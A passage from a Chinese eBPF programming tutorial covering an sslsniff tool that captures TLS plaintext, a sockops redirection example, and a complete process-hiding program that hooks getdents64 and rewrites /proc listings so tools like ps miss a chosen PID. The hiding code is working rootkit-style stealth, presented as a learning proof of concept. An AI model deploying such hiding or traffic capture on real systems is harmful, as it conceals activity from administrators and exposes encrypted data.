for (size_t i = 0; i &lt; strlen(hex_data); i += 32) {
printf(&quot;%.32s\n&quot;, hex_data + i);
}
printf(&quot;%s\n\n&quot;, e_mark);
} else {
printf(&quot;\n%s\n%s\n%s\n\n&quot;, s_mark, buf, e_mark);
}
}
}
</code></pre>
<p>完整的源代码可以在这里查看:<a href="https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/30-sslsniff">https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/30-sslsniff</a></p>
<h2 id="编译与运行"><a class="header" href="#编译与运行">编译与运行</a></h2>
<p>要开始使用 <code>sslsniff</code>,首先要进行编译:</p>
<pre><code class="language-sh">make
</code></pre>
<p>完成后,请按照以下步骤操作:</p>
<h3 id="启动-sslsniff"><a class="header" href="#启动-sslsniff"><strong>启动 sslsniff</strong></a></h3>
<p>在一个终端中,执行以下命令来启动 <code>sslsniff</code></p>
<pre><code class="language-sh">sudo ./sslsniff
</code></pre>
<h3 id="执行-curl-命令"><a class="header" href="#执行-curl-命令"><strong>执行 CURL 命令</strong></a></h3>
<p>在另一个终端中,执行:</p>
<pre><code class="language-console">curl https://example.com
</code></pre>
<p>正常情况下,你会看到类似以下的输出:</p>
<pre><code class="language-html"> &lt;!doctype html&gt;
&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Example Domain&lt;/title&gt;
...
&lt;body&gt;
&lt;div&gt;
...
&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre>
<h3 id="sslsniff-输出"><a class="header" href="#sslsniff-输出"><strong>sslsniff 输出</strong></a></h3>
<p>当执行 <code>curl</code> 命令后,<code>sslsniff</code> 会显示以下内容:</p>
<pre><code class="language-txt"> READ/RECV 0.132786160 curl 47458 1256
----- DATA -----
&lt;!doctype html&gt;
...
&lt;div&gt;
&lt;h1&gt;Example Domain&lt;/h1&gt;
...
&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
----- END DATA -----
</code></pre>
<p><strong>注意</strong>:显示的 HTML 内容可能会因 <code>example.com</code> 页面的不同而有所不同。</p>
<h3 id="显示延迟和握手过程"><a class="header" href="#显示延迟和握手过程">显示延迟和握手过程</a></h3>
<p>要查看延迟和握手过程,请执行以下命令:</p>
<pre><code class="language-console">$ sudo ./sslsniff -l --handshake
OpenSSL path: /lib/x86_64-linux-gnu/libssl.so.3
GnuTLS path: /lib/x86_64-linux-gnu/libgnutls.so.30
NSS path: /lib/x86_64-linux-gnu/libnspr4.so
FUNC TIME(s) COMM PID LEN LAT(ms)
HANDSHAKE 0.000000000 curl 6460 1 1.384 WRITE/SEND 0.000115400 curl 6460 24 0.014
</code></pre>
<h3 id="16进制输出"><a class="header" href="#16进制输出">16进制输出</a></h3>
<p>要以16进制格式显示数据请执行以下命令</p>
<pre><code class="language-console">$ sudo ./sslsniff --hexdump
WRITE/SEND 0.000000000 curl 16104 24
----- DATA -----
505249202a20485454502f322e300d0a
0d0a534d0d0a0d0a
----- END DATA -----
...
</code></pre>
<h2 id="总结-19"><a class="header" href="#总结-19">总结</a></h2>
<p>eBPF 是一个非常强大的技术,它可以帮助我们深入了解系统的工作原理。本教程是一个简单的示例,展示了如何使用 eBPF 来监控 SSL/TLS 通信。如果您对 eBPF 技术感兴趣,并希望进一步了解和实践,可以访问我们的教程代码仓库 <a href="https://github.com/eunomia-bpf/bpf-developer-tutorial">https://github.com/eunomia-bpf/bpf-developer-tutorial</a> 和教程网站 <a href="https://eunomia.dev/zh/tutorials/%E3%80%82">https://eunomia.dev/zh/tutorials/。</a></p>
<p>参考资料:</p>
<ul>
<li><a href="https://github.com/iovisor/bcc/pull/4706">https://github.com/iovisor/bcc/pull/4706</a></li>
<li><a href="https://github.com/openssl/openssl">https://github.com/openssl/openssl</a></li>
<li><a href="https://www.openssl.org/docs/man1.1.1/man3/SSL_read.html">https://www.openssl.org/docs/man1.1.1/man3/SSL_read.html</a></li>
<li><a href="https://github.com/iovisor/bcc/blob/master/tools/sslsniff_example.txt">https://github.com/iovisor/bcc/blob/master/tools/sslsniff_example.txt</a></li>
<li><a href="https://en.wikipedia.org/wiki/Transport_Layer_Security">https://en.wikipedia.org/wiki/Transport_Layer_Security</a></li>
</ul>
<div style="break-before: page; page-break-before: always;"></div><h1 id="ebpf-sockops-示例"><a class="header" href="#ebpf-sockops-示例">eBPF sockops 示例</a></h1>
<h2 id="利用-ebpf-的-sockops-进行性能优化"><a class="header" href="#利用-ebpf-的-sockops-进行性能优化">利用 eBPF 的 sockops 进行性能优化</a></h2>
<p>网络连接本质上是 socket 之间的通讯eBPF 提供了一个 <a href="https://man7.org/linux/man-pages/man7/bpf-helpers.7.html">bpf_msg_redirect_hash</a> 函数,用来将应用发出的包直接转发到对端的 socket可以极大地加速包在内核中的处理流程。</p>
<p>这里 sock_map 是记录 socket 规则的关键部分,即根据当前的数据包信息,从 sock_map 中挑选一个存在的 socket 连接来转发请求。所以需要先在 sockops 的 hook 处或者其它地方,将 socket 信息保存到 sock_map并提供一个规则 (一般为四元组) 根据 key 查找到 socket。</p>
<p>Merbridge 项目就是这样实现了用 eBPF 代替 iptables 为 Istio 进行加速。在使用 Merbridge (eBPF) 优化之后,出入口流量会直接跳过很多内核模块,明显提高性能,如下图所示:</p>
<p><img src="29-sockops/merbridge.png" alt="merbridge" /></p>
<h2 id="运行样例"><a class="header" href="#运行样例">运行样例</a></h2>
<p>此示例程序从发送者的套接字(出口)重定向流量至接收者的套接字(入口),<strong>跳过 TCP/IP 内核网络栈</strong>。在这个示例中,我们假定发送者和接收者都在<strong>同一台</strong>机器上运行。</p>
<h3 id="编译-ebpf-程序"><a class="header" href="#编译-ebpf-程序">编译 eBPF 程序</a></h3>
<pre><code class="language-shell"># Compile the bpf_sockops program
clang -O2 -g -Wall -target bpf -c bpf_sockops.c -o bpf_sockops.o
clang -O2 -g -Wall -target bpf -c bpf_redir.c -o bpf_redir.o
</code></pre>
<h3 id="加载-ebpf-程序"><a class="header" href="#加载-ebpf-程序">加载 eBPF 程序</a></h3>
<pre><code class="language-shell">sudo ./load.sh
</code></pre>
<p>您可以使用 <a href="https://github.com/torvalds/linux/blob/master/tools/bpf/bpftool/Documentation/bpftool-prog.rst">bpftool utility</a> 检查这两个 eBPF 程序是否已经加载。</p>
<pre><code class="language-console">$ sudo bpftool prog show
63: sock_ops name bpf_sockmap tag 275467be1d69253d gpl
loaded_at 2019-01-24T13:07:17+0200 uid 0
xlated 1232B jited 750B memlock 4096B map_ids 58
64: sk_msg name bpf_redir tag bc78074aa9dd96f4 gpl
loaded_at 2019-01-24T13:07:17+0200 uid 0
xlated 304B jited 233B memlock 4096B map_ids 58
</code></pre>
<h3 id="运行-iperf3-服务器"><a class="header" href="#运行-iperf3-服务器">运行 <a href="https://iperf.fr/">iperf3</a> 服务器</a></h3>
<pre><code class="language-shell">iperf3 -s -p 10000
</code></pre>
<h3 id="运行-iperf3-客户端"><a class="header" href="#运行-iperf3-客户端">运行 <a href="https://iperf.fr/">iperf3</a> 客户端</a></h3>
<pre><code class="language-shell">iperf3 -c 127.0.0.1 -t 10 -l 64k -p 10000
</code></pre>
<h3 id="收集追踪"><a class="header" href="#收集追踪">收集追踪</a></h3>
<pre><code class="language-console">$ ./trace.sh
iperf3-9516 [001] .... 22500.634108: 0: &lt;&lt;&lt; ipv4 op = 4, port 18583 --&gt; 4135
iperf3-9516 [001] ..s1 22500.634137: 0: &lt;&lt;&lt; ipv4 op = 5, port 4135 --&gt; 18583
iperf3-9516 [001] .... 22500.634523: 0: &lt;&lt;&lt; ipv4 op = 4, port 19095 --&gt; 4135
iperf3-9516 [001] ..s1 22500.634536: 0: &lt;&lt;&lt; ipv4 op = 5, port 4135 --&gt; 19095
</code></pre>
<p>你应该可以看到 4 个用于套接字建立的事件。如果你没有看到任何事件,那么 eBPF 程序可能没有正确地附加上。</p>
<h3 id="卸载-ebpf-程序"><a class="header" href="#卸载-ebpf-程序">卸载 eBPF 程序</a></h3>
<pre><code class="language-shell">sudo ./unload.sh
</code></pre>
<h2 id="参考资料-1"><a class="header" href="#参考资料-1">参考资料</a></h2>
<ul>
<li><a href="https://github.com/zachidan/ebpf-sockops">https://github.com/zachidan/ebpf-sockops</a></li>
<li><a href="https://github.com/merbridge/merbridge">https://github.com/merbridge/merbridge</a></li>
</ul>
<div style="break-before: page; page-break-before: always;"></div><h1 id="ebpf-开发实践使用-ebpf-隐藏进程或文件信息"><a class="header" href="#ebpf-开发实践使用-ebpf-隐藏进程或文件信息">eBPF 开发实践:使用 eBPF 隐藏进程或文件信息</a></h1>
<p>eBPF扩展的伯克利数据包过滤器是 Linux 内核中的一个强大功能,可以在无需更改内核源代码或重启内核的情况下,运行、加载和更新用户定义的代码。这种功能让 eBPF 在网络和系统性能分析、数据包过滤、安全策略等方面有了广泛的应用。</p>
<p>在本篇教程中,我们将展示如何利用 eBPF 来隐藏进程或文件信息,这是网络安全和防御领域中一种常见的技术。</p>
<h2 id="背景知识与实现机制"><a class="header" href="#背景知识与实现机制">背景知识与实现机制</a></h2>
<p>&quot;进程隐藏&quot; 能让特定的进程对操作系统的常规检测机制变得不可见。在黑客攻击或系统防御的场景中这种技术都可能被应用。具体来说Linux 系统中每个进程都在 /proc/ 目录下有一个以其进程 ID 命名的子文件夹,包含了该进程的各种信息。<code>ps</code> 命令就是通过查找这些文件夹来显示进程信息的。因此,如果我们能隐藏某个进程的 /proc/ 文件夹,就能让这个进程对 <code>ps</code> 命令等检测手段“隐身”。</p>
<p>要实现进程隐藏,关键在于操作 <code>/proc/</code> 目录。在 Linux 中,<code>getdents64</code> 系统调用可以读取目录下的文件信息。我们可以通过挂接这个系统调用,修改它返回的结果,从而达到隐藏文件的目的。实现这个功能需要使用到 eBPF 的 <code>bpf_probe_write_user</code> 功能,它可以修改用户空间的内存,因此能用来修改 <code>getdents64</code> 返回的结果。</p>
<p>下面,我们会详细介绍如何在内核态和用户态编写 eBPF 程序来实现进程隐藏。</p>
<h3 id="内核态-ebpf-程序实现-1"><a class="header" href="#内核态-ebpf-程序实现-1">内核态 eBPF 程序实现</a></h3>
<p>接下来,我们将详细介绍如何在内核态编写 eBPF 程序来实现进程隐藏。首先是 eBPF 程序的起始部分:</p>
<pre><code class="language-c">// SPDX-License-Identifier: BSD-3-Clause
#include &quot;vmlinux.h&quot;
#include &lt;bpf/bpf_helpers.h&gt;
#include &lt;bpf/bpf_tracing.h&gt;
#include &lt;bpf/bpf_core_read.h&gt;
#include &quot;common.h&quot;
char LICENSE[] SEC(&quot;license&quot;) = &quot;Dual BSD/GPL&quot;;
// Ringbuffer Map to pass messages from kernel to user
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 256 * 1024);
} rb SEC(&quot;.maps&quot;);
// Map to fold the dents buffer addresses
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 8192);
__type(key, size_t);
__type(value, long unsigned int);
} map_buffs SEC(&quot;.maps&quot;);
// Map used to enable searching through the
// data in a loop
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 8192);
__type(key, size_t);
__type(value, int);
} map_bytes_read SEC(&quot;.maps&quot;);
// Map with address of actual
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 8192);
__type(key, size_t);
__type(value, long unsigned int);
} map_to_patch SEC(&quot;.maps&quot;);
// Map to hold program tail calls
struct {
__uint(type, BPF_MAP_TYPE_PROG_ARRAY);
__uint(max_entries, 5);
__type(key, __u32);
__type(value, __u32);
} map_prog_array SEC(&quot;.maps&quot;);
</code></pre>
<p>我们首先需要理解这个 eBPF 程序的基本构成和使用到的几个重要组件。前几行引用了几个重要的头文件,如 &quot;vmlinux.h&quot;&quot;bpf_helpers.h&quot;&quot;bpf_tracing.h&quot;&quot;bpf_core_read.h&quot;。这些文件提供了 eBPF 编程所需的基础设施和一些重要的函数或宏。</p>
<ul>
<li>&quot;vmlinux.h&quot; 是一个包含了完整的内核数据结构的头文件,是从 vmlinux 内核二进制中提取的。使用这个头文件eBPF 程序可以访问内核的数据结构。</li>
<li>&quot;bpf_helpers.h&quot; 头文件中定义了一系列的宏,这些宏是 eBPF 程序使用的 BPF 助手helper函数的封装。这些 BPF 助手函数是 eBPF 程序和内核交互的主要方式。</li>
<li>&quot;bpf_tracing.h&quot; 是用于跟踪事件的头文件,它包含了许多宏和函数,这些都是为了简化 eBPF 程序对跟踪点tracepoint的操作。</li>
<li>&quot;bpf_core_read.h&quot; 头文件提供了一组用于从内核读取数据的宏和函数。</li>
</ul>
<p>程序中定义了一系列的 map 结构,这些 map 是 eBPF 程序中的主要数据结构,它们用于在内核态和用户态之间共享数据,或者在 eBPF 程序中存储和传递数据。</p>
<p>其中,&quot;rb&quot; 是一个 Ringbuffer 类型的 map它用于从内核向用户态传递消息。Ringbuffer 是一种能在内核和用户态之间高效传递大量数据的数据结构。</p>
<p>&quot;map_buffs&quot; 是一个 Hash 类型的 map它用于存储目录项dentry的缓冲区地址。</p>
<p>&quot;map_bytes_read&quot; 是另一个 Hash 类型的 map它用于在数据循环中启用搜索。</p>
<p>&quot;map_to_patch&quot; 是另一个 Hash 类型的 map存储了需要被修改的目录项dentry的地址。</p>
<p>&quot;map_prog_array&quot; 是一个 Prog Array 类型的 map它用于保存程序的尾部调用。</p>
<p>程序中的 &quot;target_ppid&quot;&quot;pid_to_hide_len&quot;&quot;pid_to_hide&quot; 是几个重要的全局变量,它们分别存储了目标父进程的 PID、需要隐藏的 PID 的长度以及需要隐藏的 PID。</p>
<p>接下来的代码部分,程序定义了一个名为 &quot;linux_dirent64&quot; 的结构体,这个结构体代表一个 Linux 目录项。然后程序定义了两个函数,&quot;handle_getdents_enter&quot;&quot;handle_getdents_exit&quot;,这两个函数分别在 getdents64 系统调用的入口和出口被调用,用于实现对目录项的操作。</p>
<pre><code class="language-c">
// Optional Target Parent PID
const volatile int target_ppid = 0;
// These store the string represenation
// of the PID to hide. This becomes the name
// of the folder in /proc/
const volatile int pid_to_hide_len = 0;
const volatile char pid_to_hide[max_pid_len];
// struct linux_dirent64 {
// u64 d_ino; /* 64-bit inode number */
// u64 d_off; /* 64-bit offset to next structure */
// unsigned short d_reclen; /* Size of this dirent */
// unsigned char d_type; /* File type */
// char d_name[]; /* Filename (null-terminated) */ };
// int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
SEC(&quot;tp/syscalls/sys_enter_getdents64&quot;)
int handle_getdents_enter(struct trace_event_raw_sys_enter *ctx)
{
size_t pid_tgid = bpf_get_current_pid_tgid();
// Check if we're a process thread of interest
// if target_ppid is 0 then we target all pids
if (target_ppid != 0) {
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
int ppid = BPF_CORE_READ(task, real_parent, tgid);
if (ppid != target_ppid) {
return 0;
}
}
int pid = pid_tgid &gt;&gt; 32;
unsigned int fd = ctx-&gt;args[0];
unsigned int buff_count = ctx-&gt;args[2];
// Store params in map for exit function
struct linux_dirent64 *dirp = (struct linux_dirent64 *)ctx-&gt;args[1];
bpf_map_update_elem(&amp;map_buffs, &amp;pid_tgid, &amp;dirp, BPF_ANY);
return 0;
}
</code></pre>
<p>在这部分代码中,我们可以看到 eBPF 程序的一部分具体实现,该程序负责在 <code>getdents64</code> 系统调用的入口处进行处理。</p>
<p>我们首先声明了几个全局的变量。其中 <code>target_ppid</code> 代表我们要关注的目标父进程的 PID。如果这个值为 0那么我们将关注所有的进程。<code>pid_to_hide_len</code><code>pid_to_hide</code> 则分别用来存储我们要隐藏的进程的 PID 的长度和 PID 本身。这个 PID 会转化成 <code>/proc/</code> 目录下的一个文件夹的名称,因此被隐藏的进程在 <code>/proc/</code> 目录下将无法被看到。</p>
<p>接下来,我们声明了一个名为 <code>linux_dirent64</code> 的结构体。这个结构体代表一个 Linux 目录项,包含了一些元数据,如 inode 号、下一个目录项的偏移、当前目录项的长度、文件类型以及文件名。</p>
<p>然后是 <code>getdents64</code> 函数的原型。这个函数是 Linux 系统调用,用于读取一个目录的内容。我们的目标就是在这个函数执行的过程中,对目录项进行修改,以实现进程隐藏。</p>
<p>随后的部分是 eBPF 程序的具体实现。我们在 <code>getdents64</code> 系统调用的入口处定义了一个名为 <code>handle_getdents_enter</code> 的函数。这个函数首先获取了当前进程的 PID 和线程组 ID然后检查这个进程是否是我们关注的进程。如果我们设置了 <code>target_ppid</code>,那么我们就只关注那些父进程的 PID 为 <code>target_ppid</code> 的进程。如果 <code>target_ppid</code> 为 0我们就关注所有进程。</p>
<p>在确认了当前进程是我们关注的进程之后,我们将 <code>getdents64</code> 系统调用的参数保存到一个 map 中,以便在系统调用返回时使用。我们特别关注 <code>getdents64</code> 系统调用的第二个参数,它是一个指向 <code>linux_dirent64</code> 结构体的指针,代表了系统调用要读取的目录的内容。我们将这个指针以及当前的 PID 和线程组 ID 作为键值对保存到 <code>map_buffs</code> 这个 map 中。</p>
<p>至此,我们完成了 <code>getdents64</code> 系统调用入口处的处理。在系统调用返回时,我们将会在 <code>handle_getdents_exit</code> 函数中,对目录项进行修改,以实现进程隐藏。</p>
<p>在接下来的代码段中,我们将要实现在 <code>getdents64</code> 系统调用返回时的处理。我们主要的目标就是找到我们想要隐藏的进程,并且对目录项进行修改以实现隐藏。</p>
<p>我们首先定义了一个名为 <code>handle_getdents_exit</code> 的函数,它将在 <code>getdents64</code> 系统调用返回时被调用。</p>
<pre><code class="language-c">
SEC(&quot;tp/syscalls/sys_exit_getdents64&quot;)
int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)
{
size_t pid_tgid = bpf_get_current_pid_tgid();
int total_bytes_read = ctx-&gt;ret;
// if bytes_read is 0, everything's been read
if (total_bytes_read &lt;= 0) {
return 0;
}
// Check we stored the address of the buffer from the syscall entry
long unsigned int* pbuff_addr = bpf_map_lookup_elem(&amp;map_buffs, &amp;pid_tgid);
if (pbuff_addr == 0) {
return 0;
}
// All of this is quite complex, but basically boils down to
// Calling 'handle_getdents_exit' in a loop to iterate over the file listing
// in chunks of 200, and seeing if a folder with the name of our pid is in there.
// If we find it, use 'bpf_tail_call' to jump to handle_getdents_patch to do the actual
// patching
long unsigned int buff_addr = *pbuff_addr;
struct linux_dirent64 *dirp = 0;
int pid = pid_tgid &gt;&gt; 32;
short unsigned int d_reclen = 0;
char filename[max_pid_len];
unsigned int bpos = 0;
unsigned int *pBPOS = bpf_map_lookup_elem(&amp;map_bytes_read, &amp;pid_tgid);
if (pBPOS != 0) {
bpos = *pBPOS;
}
for (int i = 0; i &lt; 200; i ++) {
if (bpos &gt;= total_bytes_read) {
break;
}
dirp = (struct linux_dirent64 *)(buff_addr+bpos);
bpf_probe_read_user(&amp;d_reclen, sizeof(d_reclen), &amp;dirp-&gt;d_reclen);
bpf_probe_read_user_str(&amp;filename, pid_to_hide_len, dirp-&gt;d_name);
int j = 0;
for (j = 0; j &lt; pid_to_hide_len; j++) {
if (filename[j] != pid_to_hide[j]) {
break;
}
}
if (j == pid_to_hide_len) {
// ***********
// We've found the folder!!!
// Jump to handle_getdents_patch so we can remove it!
// ***********
bpf_map_delete_elem(&amp;map_bytes_read, &amp;pid_tgid);
bpf_map_delete_elem(&amp;map_buffs, &amp;pid_tgid);
bpf_tail_call(ctx, &amp;map_prog_array, PROG_02);
}
bpf_map_update_elem(&amp;map_to_patch, &amp;pid_tgid, &amp;dirp, BPF_ANY);
bpos += d_reclen;
}
// If we didn't find it, but there's still more to read,
// jump back the start of this function and keep looking
if (bpos &lt; total_bytes_read) {
bpf_map_update_elem(&amp;map_bytes_read, &amp;pid_tgid, &amp;bpos, BPF_ANY);
bpf_tail_call(ctx, &amp;map_prog_array, PROG_01);
}
bpf_map_delete_elem(&amp;map_bytes_read, &amp;pid_tgid);
bpf_map_delete_elem(&amp;map_buffs, &amp;pid_tgid);
return 0;
}
</code></pre>
<p>在这个函数中,我们首先获取了当前进程的 PID 和线程组 ID然后检查系统调用是否读取到了目录的内容。如果没有读取到内容我们就直接返回。</p>
<p>然后我们从 <code>map_buffs</code> 这个 map 中获取 <code>getdents64</code> 系统调用入口处保存的目录内容的地址。如果我们没有保存过这个地址,那么就没有必要进行进一步的处理。</p>
<p>接下来的部分有点复杂,我们用了一个循环来迭代读取目录的内容,并且检查是否有我们想要隐藏的进程的 PID。如果我们找到了我们就用 <code>bpf_tail_call</code> 函数跳转到 <code>handle_getdents_patch</code> 函数,进行实际的隐藏操作。</p>
<pre><code class="language-c">SEC(&quot;tp/syscalls/sys_exit_getdents64&quot;)
int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx)
{
// Only patch if we've already checked and found our pid's folder to hide
size_t pid_tgid = bpf_get_current_pid_tgid();
long unsigned int* pbuff_addr = bpf_map_lookup_elem(&amp;map_to_patch, &amp;pid_tgid);
if (pbuff_addr == 0) {
return 0;
}
// Unlink target, by reading in previous linux_dirent64 struct,
// and setting it's d_reclen to cover itself and our target.
// This will make the program skip over our folder.
long unsigned int buff_addr = *pbuff_addr;
struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *)buff_addr;
short unsigned int d_reclen_previous = 0;
bpf_probe_read_user(&amp;d_reclen_previous, sizeof(d_reclen_previous), &amp;dirp_previous-&gt;d_reclen);
struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr+d_reclen_previous);
short unsigned int d_reclen = 0;
bpf_probe_read_user(&amp;d_reclen, sizeof(d_reclen), &amp;dirp-&gt;d_reclen);
// Debug print
char filename[max_pid_len];
bpf_probe_read_user_str(&amp;filename, pid_to_hide_len, dirp_previous-&gt;d_name);
filename[pid_to_hide_len-1] = 0x00;
bpf_printk(&quot;[PID_HIDE] filename previous %s\n&quot;, filename);
bpf_probe_read_user_str(&amp;filename, pid_to_hide_len, dirp-&gt;d_name);
filename[pid_to_hide_len-1] = 0x00;
bpf_printk(&quot;[PID_HIDE] filename next one %s\n&quot;, filename);
// Attempt to overwrite
short unsigned int d_reclen_new = d_reclen_previous + d_reclen;
long ret = bpf_probe_write_user(&amp;dirp_previous-&gt;d_reclen, &amp;d_reclen_new, sizeof(d_reclen_new));
// Send an event
struct event *e;
e = bpf_ringbuf_reserve(&amp;rb, sizeof(*e), 0);
if (e) {
e-&gt;success = (ret == 0);
e-&gt;pid = (pid_tgid &gt;&gt; 32);
bpf_get_current_comm(&amp;e-&gt;comm, sizeof(e-&gt;comm));
bpf_ringbuf_submit(e, 0);
}
bpf_map_delete_elem(&amp;map_to_patch, &amp;pid_tgid);
return 0;
}
</code></pre>
<p><code>handle_getdents_patch</code> 函数中,我们首先检查我们是否已经找到了我们想要隐藏的进程的 PID。然后我们读取目录项的内容并且修改 <code>d_reclen</code> 字段,让它覆盖下一个目录项,这样就可以隐藏我们的目标进程了。</p>
<p>在这个过程中,我们用到了 <code>bpf_probe_read_user</code><code>bpf_probe_read_user_str</code><code>bpf_probe_write_user</code> 这几个函数来读取和写入用户空间的数据。这是因为在内核空间,我们不能直接访问用户空间的数据,必须使用这些特殊的函数。</p>
<p>在我们完成隐藏操作后,我们会向一个名为 <code>rb</code> 的环形缓冲区发送一个事件,表示我们已经成功地隐藏了一个进程。我们用 <code>bpf_ringbuf_reserve</code> 函数来预留缓冲区空间,然后将事件的数据填充到这个空间,并最后用 <code>bpf_ringbuf_submit</code> 函数将事件提交到缓冲区。</p>
<p>最后,我们清理了之前保存在 map 中的数据,并返回。</p>
<p>这段代码是在 eBPF 环境下实现进程隐藏的一个很好的例子。通过这个例子,我们可以看到 eBPF 提供的丰富的功能如系统调用跟踪、map 存储、用户空间数据访问、尾调用等。这些功能使得我们能够在内核空间实现复杂的逻辑,而不需要修改内核代码。</p>
<h2 id="用户态-ebpf-程序实现"><a class="header" href="#用户态-ebpf-程序实现">用户态 eBPF 程序实现</a></h2>
<p>我们在用户态的 eBPF 程序中主要进行了以下几个操作:</p>
<ol>
<li>打开 eBPF 程序。</li>
<li>设置我们想要隐藏的进程的 PID。</li>
<li>验证并加载 eBPF 程序。</li>
<li>等待并处理由 eBPF 程序发送的事件。</li>
</ol>
<p>首先,我们打开了 eBPF 程序。这个过程是通过调用 <code>pidhide_bpf__open</code> 函数实现的。如果这个过程失败了,我们就直接返回。</p>
<pre><code class="language-c"> skel = pidhide_bpf__open();
if (!skel)
{
fprintf(stderr, &quot;Failed to open BPF program: %s\n&quot;, strerror(errno));
return 1;
}
</code></pre>
<p>接下来,我们设置了我们想要隐藏的进程的 PID。这个过程是通过将 PID 保存到 eBPF 程序的 <code>rodata</code> 区域实现的。默认情况下,我们隐藏的是当前进程。</p>
<pre><code class="language-c"> char pid_to_hide[10];
if (env.pid_to_hide == 0)
{
env.pid_to_hide = getpid();
}
sprintf(pid_to_hide, &quot;%d&quot;, env.pid_to_hide);
strncpy(skel-&gt;rodata-&gt;pid_to_hide, pid_to_hide, sizeof(skel-&gt;rodata-&gt;pid_to_hide));
skel-&gt;rodata-&gt;pid_to_hide_len = strlen(pid_to_hide) + 1;
skel-&gt;rodata-&gt;target_ppid = env.target_ppid;
</code></pre>
<p>然后,我们验证并加载 eBPF 程序。这个过程是通过调用 <code>pidhide_bpf__load</code> 函数实现的。如果这个过程失败了,我们就进行清理操作。</p>
<pre><code class="language-c"> err = pidhide_bpf__load(skel);
if (err)
{
fprintf(stderr, &quot;Failed to load and verify BPF skeleton\n&quot;);
goto cleanup;
}
</code></pre>
<p>最后,我们等待并处理由 eBPF 程序发送的事件。这个过程是通过调用 <code>ring_buffer__poll</code> 函数实现的。在这个过程中,我们每隔一段时间就检查一次环形缓冲区中是否有新的事件。如果有,我们就调用 <code>handle_event</code> 函数来处理这个事件。</p>
<pre><code class="language-c">printf(&quot;Successfully started!\n&quot;);
printf(&quot;Hiding PID %d\n&quot;, env.pid_to_hide);
while (!exiting)
{
err = ring_buffer__poll(rb, 100 /* timeout, ms */);
/* Ctrl-C will cause -EINTR */
if (err == -EINTR)
{
err = 0;
break;
}
if (err &lt; 0)
{
printf(&quot;Error polling perf buffer: %d\n&quot;, err);
break;
}
}
</code></pre>
<p><code>handle_event</code> 函数中,我们根据事件的内容打印了相应的消息。这个函数的参数包括一个上下文,事件的数据,以及数据的大小。我们首先将事件的数据转换为 <code>event</code> 结构体,然后根据 <code>success</code> 字段判断这个事件是否表示成功隐藏了一个进程,最后打</p>
<p>印相应的消息。</p>
<pre><code class="language-c">static int handle_event(void *ctx, void *data, size_t data_sz)
{
const struct event *e = data;
if (e-&gt;success)
printf(&quot;Hid PID from program %d (%s)\n&quot;, e-&gt;pid, e-&gt;comm);
else
printf(&quot;Failed to hide PID from program %d (%s)\n&quot;, e-&gt;pid, e-&gt;comm);
return 0;
}
</code></pre>
<p>这段代码展示了如何在用户态使用 eBPF 程序来实现进程隐藏的功能。我们首先打开 eBPF 程序,然后设置我们想要隐藏的进程的 PID再验证并加载 eBPF 程序,最后等待并处理由 eBPF 程序发送的事件。这个过程中,我们使用了 eBPF 提供的一些高级功能,如环形缓冲区和事件处理,这些功能使得我们能够在用户态方便地与内核态的 eBPF 程序进行交互。</p>
<p>完整源代码:<a href="https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/24-hide">https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/24-hide</a></p>
<blockquote>
<p>本文所示技术仅为概念验证,仅供学习使用,严禁用于不符合法律法规要求的场景。</p>
</blockquote>
<h2 id="编译运行隐藏-pid"><a class="header" href="#编译运行隐藏-pid">编译运行,隐藏 PID</a></h2>
<p>首先,我们需要编译 eBPF 程序:</p>
<pre><code class="language-bash">make
</code></pre>
<p>然后,假设我们想要隐藏进程 ID 为 1534 的进程,可以运行如下命令:</p>
<pre><code class="language-sh">sudo ./pidhide --pid-to-hide 1534
</code></pre>
<p>这条命令将使所有尝试读取 <code>/proc/</code> 目录的操作都无法看到 PID 为 1534 的进程。例如,我们可以选择一个进程进行隐藏:</p>
<pre><code class="language-console">$ ps -aux | grep 1534
yunwei 1534 0.0 0.0 244540 6848 ? Ssl 6月02 0:00 /usr/libexec/gvfs-mtp-volume-monitor
yunwei 32065 0.0 0.0 17712 2580 pts/1 S+ 05:43 0:00 grep --color=auto 1534
</code></pre>
<p>此时通过 ps 命令可以看到进程 ID 为 1534 的进程。但是,如果我们运行 <code>sudo ./pidhide --pid-to-hide 1534</code>,再次运行 <code>ps -aux | grep 1534</code>,就会发现进程 ID 为 1534 的进程已经不见了。</p>
<pre><code class="language-console">$ sudo ./pidhide --pid-to-hide 1534
Hiding PID 1534
Hid PID from program 31529 (ps)
Hid PID from program 31551 (ps)
Hid PID from program 31560 (ps)
Hid PID from program 31582 (ps)
Hid PID from program 31582 (ps)
Hid PID from program 31585 (bash)
Hid PID from program 31585 (bash)
Hid PID from program 31609 (bash)
Hid PID from program 31640 (ps)
Hid PID from program 31649 (ps)
</code></pre>
<p>这个程序将匹配这个 pid 的进程隐藏,使得像 <code>ps</code> 这样的工具无法看到,我们可以通过 <code>ps aux | grep 1534</code> 来验证。</p>
<pre><code class="language-console">$ ps -aux | grep 1534
root 31523 0.1 0.0 22004 5616 pts/2 S+ 05:42 0:00 sudo ./pidhide -p 1534
root 31524 0.0 0.0 22004 812 pts/3 Ss 05:42 0:00 sudo ./pidhide -p 1534
root 31525 0.3 0.0 3808 2456 pts/3 S+ 05:42 0:00 ./pidhide -p 1534
yunwei 31583 0.0 0.0 17712 2612 pts/1 S+ 05:42 0:00 grep --color=auto 1534
</code></pre>
<h2 id="总结-20"><a class="header" href="#总结-20">总结</a></h2>
